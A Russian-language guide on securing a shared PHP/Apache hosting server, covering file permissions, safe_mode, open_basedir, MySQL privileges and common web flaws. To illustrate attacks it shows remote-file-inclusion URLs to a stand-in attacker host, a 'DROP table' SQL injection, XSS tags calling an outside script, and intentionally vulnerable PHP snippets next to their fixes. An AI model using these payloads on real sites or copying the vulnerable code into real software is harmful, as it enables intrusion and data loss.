Установка сервера
Мультихоствая конфигурация сервера Сразу скажем что PHP и Апач в этой области далеко не продвинулись. Нормальная многопользовательская конфигурация веб-сервера должна работать под разными пользователями. Т.е. каждый пользователь имеет свою учетную запись в системе, логинится под ней через ФТП, закачивает файлы с правами 0700 и только он может оперировать со своими файлами на веб-сервере. Для этого действует механизм suExec, который, к сожалению, не поддержывается Апачем, когда PHP запущен как модуль. Эта настройка действует только для CGI.
Есть несколько различных решений этой проблем:
- Настроить хитромудрую систему юзеров/груп, суть которой всегда сводится к тому что все пользователи входят в одну групу, под которой и запущен юзер апача. Например, есть група "www" в которую входят пользователи "nobody", "pupkin", "jsmith". В httpd.conf есть директива
...<br> <b>User</b> nobody<br> <b>Group</b> www<br> ...
а ФТП настроен так что пользователи кладут файлы с правами 640. Если они хотят изменять файлы не только по ФТП а и через скрипты, они выставляют права 0660.
в любом случае такая система позволяет одним пользователям читать содержимое файлов других пользователь, а иногда (права 0660) даже изменять их.
- Та же система, но с включенным safe_mode=On. Надежная, но глючная конфигурация. Если за неделю пользователи pupkin и jsmith не заклюют пользователя root то это значит что они не используют функции работы с файлами. Но если они задумают добавить на свой сайт что-то типа закачки файлов - админу сервера лучше не попадаться им на глаза. А все из-за того что эта директива несовместима с механизмом suExec Апача. При работе с файлами она проверяет, совпадает ли владелец файла/каталога с пльзователем Апача. А т.к. пользователь nobody (Апач) и pupkin (файлы пользователя) совсем разные - у Пупкина ничего не выйдет при попытках move_uploaded_file(), fopen(), gzopen() etc.
- Та же система, но с включенным open_basedir=. Наиболее часто встречающийся способ. Конфигурация ограничивает какие файлы можно открыть с помощью PHP к определенному узлу дерева каталогов. Работа директивы не зависит от того, включена ли директива safe_mode. Когда скрипт пробует открыть файл, для примера, через fopen или gzopen, проверяется путь файла. Если файл находится вне указанного дерева, будет выдано предупреждение и функция не сработает. Symlink'и также открываются. Специальное значение . указывает что директория из которой запущен скрипт будет считаться базовой. Чтобы указать несколько значения, их нужно разделить двоеточием (под Виндами - точкой с запятой). As an Apache module, open_basedir paths from parent directories are now automatically inherited.
Значение open_basedir на самом деле - префикс, а не название директории. Это означает что "open_basedir = /dir/incl" также позволит доступ к "/dir/include" и "/dir/incls" если они существуют. Если нужно ограничить доступ к определенной директории - укажите её со слешем в конце: "open_basedir = /dir/incl/"
- Запустить несколько веб-серверов под разными пользователями. Не совсем удачное решение, придется ставить их на разные порты, что неудобно. К тому же 3-5 серверов наверняка тормознут даже хорошее железо.
- Если Вам наплевать на всякие там предупреждения типа
Do not use Apache 2.0 and PHP in a production environment neither on Unix nor on Windows. то можно поставить модуль MPM (Multi Processing Module), который включается в Апач2. Запустив Апач с модулем "mpm_perchild_module" можно запускать виртуальные хосты под разными юзверями, что ИМХО является лучшим вариантом, особенно в комбинации с safe_mode=On.
Настройка СУБД Для каждого проекта создайте в СУБД отдельного пользователя, который имеет права ТОЛЬКО на свою базу данных. Например, для сайта г-на Пупкина в СУБД MySQL должны появиться такие записи:
<b>INSERT INTO user </b>('Host', 'User', 'Password', 'Select_priv', 'Insert_priv', 'Update_priv', 'Delete_priv', 'Create_priv', 'Drop_priv', 'Reload_priv', 'Shutdown_priv', 'Process_priv', 'File_priv', 'Grant_priv', 'References_priv', 'Index_priv', 'Alter_priv')<br> <b>VALUES </b>(<br> 'localhost', 'pupkin', 's0ac67a5', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'<br> );<br><br> <b>INSERT INTO db VALUES</b><br>('localhost', 'baza_pupkina', 'pupkin', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'N', 'N', 'Y', 'Y');
Семь раз подумайте перед там как дать права на '%' а не на 'localhost' и никогда под любым предлогом не делайте этого для пользователей с правами 'root'.
REGISTER_GLOBALS Очень важная настройка, которая вляиет не только на производитеольность, а, в первую очередь, на безопасность скриптов. Дело в том, что при register_globals=On все переменные из EGPCS (environment, get, post, cookie, session) будут доступными как обычные переменные, а при наличии двух переменных с одинаковым именем, значение будет взято из той которая левее в этой последовательности: EGPCS. Эту настройку можно поменять в php.ini. Типичный пример - подделка данных сессии через GPC, например - взлом авторизации.
Включения из URL'ов Очень плохой подход к програмированию делать как в таком примере:
index.php?showpage=news.php
<?php $page=$_GET['showpage']; include($page); ?> В лучшем случае вызов страницы index.php?showpage=bla_bla.php покажет ошибку и некоторые данные сервера, в худшем - читать файлы паролей etc. и возможность хакеру запускать свои скрипты в вашем виртуальном хосте со всеми вытекающими последствиями. Последняя угроза лежит в том что хакер может запустить удаленный файл через
index.php?showpage=ftp://ftp.haker.ru/evil-script.php
или
index.php?showpage=http://haker.ru/evil-script.php
(Естественно, файл evil-script.php не должен парсится сервером haker.ru, а выдавать содержимое как есть)
Непроверка типов файлов при закачке Если давать пользователям возможность закачивать некоторые файлы (например фотки, свои файлы) на файловую систему сервера и при этом не проверять их расширение, то верняк - вас хакнут. Достаточно будет закачать свой скрипт с расширением *.php а потом запустить его, как можно будет получить доступ ко всей инфе на сайте, скриптам, базе а также подредактировать содержимое.
Как проверять можно посмотреть здесь
Непроверка ввода пользователя Все что вводится через GET-POST-COOKIE обязательно должно проверяться, приводиться к наименьшему типу, потому что никто не мешает юзеру поредактировать POST-форму, дописать в УРЛу чего-нибудь, поредактировать куку или, вообще, послать свой запрос телепортом, вообщем - прислать вам троянскую свинью
Наиболее типичная цель таких атак - SQL запросы, которые формируются из запросов пользователя. В таком примере:
file.php?id=23
<?php $res=mysql_query("SELECT * FROM table WHERE id=".$_GET['id']); ?> ничто не мешает дописать пользователю что-либо кроме ?id=23 или спровоцировать ошибку. Например
index.php?id=23; DROP table
удалит таблицу, а ещё, в зависимости от прав пользователя, можно много чего натворить.
Всегда приводите типы переменных к наименьшему:
index.php?id=23; DROP table
<?php $id=(int)$_GET['id']; if ($id<1){ die('No ID specified'); } $res=mysql_query("SELECT * FROM table WHERE id=".$id); ?> выведет что и ожидалось.
Если данные должны быть строковые - проверяйте их как можно глубже. Это может быть и длина (максимальная, минимальная, пустая строка), наличие недопустимых знаков (латинские, цифры, кириллица), правильность УРЛов, адресов електронной почты.
Нагруженные УРЛы Передавайте через УРЛ минимум информации:
<b>http://www.example.com/showuser.php?name=Pupkin&dept=13&cat=employee&show=full</b><br> намного лучше будет так<br> <b>http://www.example.com/showuser.php?id=176</b>
Использование посетителями HTML Если вы даете своим посетителям вводить какие-либо данные, которые потом будут показаны на странице (н. сообщения форума, чата, новости, резюме etc.) ВСЕГДА делайте над вводом пользователя htmlencode() перед тем как выдать его на-гора. А то они обязательно напихают туда каких-либо <img src="http://haker.ru/evil-spy.php"> или <iframe src=c:\></iframe> |